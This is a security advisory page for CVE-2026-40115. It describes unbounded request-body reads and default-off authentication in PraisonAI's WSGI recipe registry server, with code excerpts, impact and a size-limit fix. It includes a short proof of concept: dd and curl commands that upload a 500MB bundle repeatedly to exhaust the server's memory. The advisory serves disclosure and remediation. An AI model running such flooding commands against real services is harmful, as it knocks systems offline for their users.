CVE-2026-40115: PraisonAI has an Unrestricted Upload Size in WSGI Recipe Registry Server Enables Memory Exhaustion DoS

Published Apr 9, 2026
·
Updated

Summary

The WSGI-based recipe registry server (server.py) reads the entire HTTP request body into memory based on the client-supplied Content-Length header with no upper bound. Combined with authentication being disabled by default (no token configured), any local process can send arbitrarily large POST requests to exhaust server memory and cause a denial of service. The Starlette-based server (serve.py) has RequestSizeLimitMiddleware with a 10MB limit, but the WSGI server lacks any equivalent protection.

Details

The vulnerable code path in src/praisonai/praisonai/recipe/server.py:

1. No size limit on body read (line 551-555): python contentlength = int(environ.get("CONTENTLENGTH", 0)) body = environ["wsgi.input"].read(contentlength) if contentlength > 0 else b""

The contentlength is taken directly from the HTTP header with no maximum check. The entire body is read into a single bytes object in memory.

2. Second in-memory copy via multipart parsing (line 169-172): python result = {"fields": {}, "files": {}} boundarybytes = f"--{boundary}".encode() parts = body.split(boundarybytes)

The parsemultipart method splits the already-buffered body and stores file contents in a dict, creating additional in-memory copies.

3. Third copy to temp file (line 420-421): python with tempfile.NamedTemporaryFile(suffix=".praison", delete=False) as tmp: tmp.write(bundlecontent)

The bundle content is then written to disk and persisted in the registry, also without size checks.

4. Authentication disabled by default (line 91-94): python def checkauth(self, headers: Dict[str, str]) -> bool: if not self.token: return True # No token configured = no auth

The self.token defaults to None unless PRAISONAIREGISTRYTOKEN is set or --token is passed on the CLI.

The entry point is praisonai registry serve (cli/features/registry.py:176), which calls runserver() binding to 127.0.0.1:7777 by default.

In contrast, serve.py (the Starlette server) has RequestSizeLimitMiddleware at line 725-732 enforcing a 10MB default limit. The WSGI server has no equivalent.

PoC

bash Start the registry server with default settings (no auth, localhost) praisonai registry serve &

Step 1: Create a large bundle (~500MB) mkdir -p /tmp/dos-test echo '{"name":"dos","version":"1.0.0"}' > /tmp/dos-test/manifest.json dd if=/dev/zero of=/tmp/dos-test/pad bs=1M count=500 tar czf /tmp/dos-bundle.praison -C /tmp/dos-test .

Step 2: Upload — server buffers ~500MB into RAM with no limit curl -X POST http://127.0.0.1:7777/v1/recipes/dos/1.0.0 \ -F 'bundle=@/tmp/dos-bundle.praison' -F 'force=true'

Step 3: Repeat to exhaust memory for v in 1.0.{1..10}; do curl -X POST http://127.0.0.1:7777/v1/recipes/dos/$v \ -F 'bundle=@/tmp/dos-bundle.praison' & done Server process will be OOM-killed

Impact

- Memory exhaustion: A single large request can consume all available memory, crashing the server process (and potentially other processes via OOM killer). - Disk exhaustion: Repeated uploads persist bundles to disk at ~/.praison/registry/ with no quota, potentially filling the filesystem. - No authentication barrier: Default configuration requires no token, so any local process (including via SSRF from other services on the same host) can trigger this. - Availability impact: The registry server becomes unavailable, blocking recipe publish/download operations.

The default bind address of 127.0.0.1 limits exploitability to local attackers or SSRF scenarios. If a user binds to 0.0.0.0 (common for shared environments or containers), the attack surface extends to the network.

Recommended Fix

Add a request size limit to the WSGI application, consistent with serve.py's 10MB default:

python In createwsgiapp(), before reading the body: MAXREQUESTSIZE = 10 1024 1024 # 10MB, matching serve.py

def application(environ, startresponse): # ... existing code ... # Read body with size limit try: contentlength = int(environ.get("CONTENTLENGTH", 0)) except (ValueError, TypeError): contentlength = 0 if contentlength > MAXREQUESTSIZE: status = "413 Request Entity Too Large" responseheaders = [("Content-Type", "application/json")] body = json.dumps({ "error": { "code": "requesttoolarge", "message": f"Request body too large. Max: {MAXREQUESTSIZE} bytes" } }).encode() startresponse(status, responseheaders) return [body] body = environ["wsgi.input"].read(contentlength) if contentlength > 0 else b"" # ... rest of handler ...

Additionally, consider: - Adding a --max-request-size CLI flag to praisonai registry serve - Adding per-recipe disk quota enforcement in LocalRegistry.publish()

Other sources

PraisonAI is a multi-agent teams system. Prior to 4.5.128, the WSGI-based recipe registry server (server.py) reads the entire HTTP request body into memory based on the client-supplied Content-Length header with no upper bound. Combined with authentication being disabled by default (no token configured), any local process can send arbitrarily large POST requests to exhaust server memory and cause a denial of service. The Starlette-based server (serve.py) has RequestSizeLimitMiddleware with a 10MB limit, but the WSGI server lacks any equivalent protection. This vulnerability is fixed in 4.5.128.

MITRE

Affected Software

2 affected componentsFixes available
pip/PraisonAI<4.5.128
4.5.128
Praison PraisonAI<4.5.128

Event History

Apr 9, 2026
CVE Published
via MITRE·09:19 PM
Data Sourced
via MITRE·09:19 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
Affected Software
Apr 10, 2026
Advisory Published
via GitHub·07:23 PM
Data Sourced
via GitHub·07:23 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-40115?

CVE-2026-40115 has a high severity rating due to its potential for causing memory exhaustion Denial of Service.

2

How do I fix CVE-2026-40115?

To fix CVE-2026-40115, upgrade to PraisonAI version 4.5.128 or later.

3

What is the impact of CVE-2026-40115?

The impact of CVE-2026-40115 includes the risk of Denial of Service due to unrestricted upload size leading to memory exhaustion.

4

What versions of PraisonAI are affected by CVE-2026-40115?

Versions of PraisonAI prior to 4.5.128 are affected by CVE-2026-40115.

5

Is CVE-2026-40115 easy to exploit?

Yes, CVE-2026-40115 can be easily exploited by sending a crafted HTTP request with a large Content-Length header.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203